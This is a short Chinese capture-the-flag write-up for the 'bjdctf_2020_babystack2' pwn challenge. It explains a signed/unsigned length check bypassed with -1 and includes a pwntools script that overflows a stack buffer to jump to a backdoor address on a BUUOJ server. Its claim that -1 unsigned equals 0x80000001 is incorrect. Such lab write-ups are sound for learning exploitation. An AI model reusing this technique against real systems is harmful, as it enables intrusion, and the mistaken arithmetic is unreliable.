bjdctf_2020_babystack2
这道题是我遇到的第一道整数溢出。很早就听说过这个原理,无符号和有符号数
-1对于有符号数来说就是-1,但是对于无符号数来说就想当于0x80000001,为什么就是二进制位给了个给符号,以至于少了极限的数呗。

有了这个铺垫,这道题就是很简单了。要小于10这是有符号数,放个-1就好了。然后对于后面来说我可以有0x80000001个字节去溢出。当然肯定是不要这么多的。
点击查看代码
from pwn import *
context(os='linux',arch='amd64')
io=remote("node4.buuoj.cn",26042)
elf=ELF("./bjdctf_2020_babystack2")
io.recvuntil('[+]Please input the length of your name:')
io.sendline("-1")
backdoor=0x40072A
payload='a'*0x18+p64(backdoor)
io.sendlineafter("[+]What's u name?",payload)
io.interactive()

浙公网安备 33010602011771号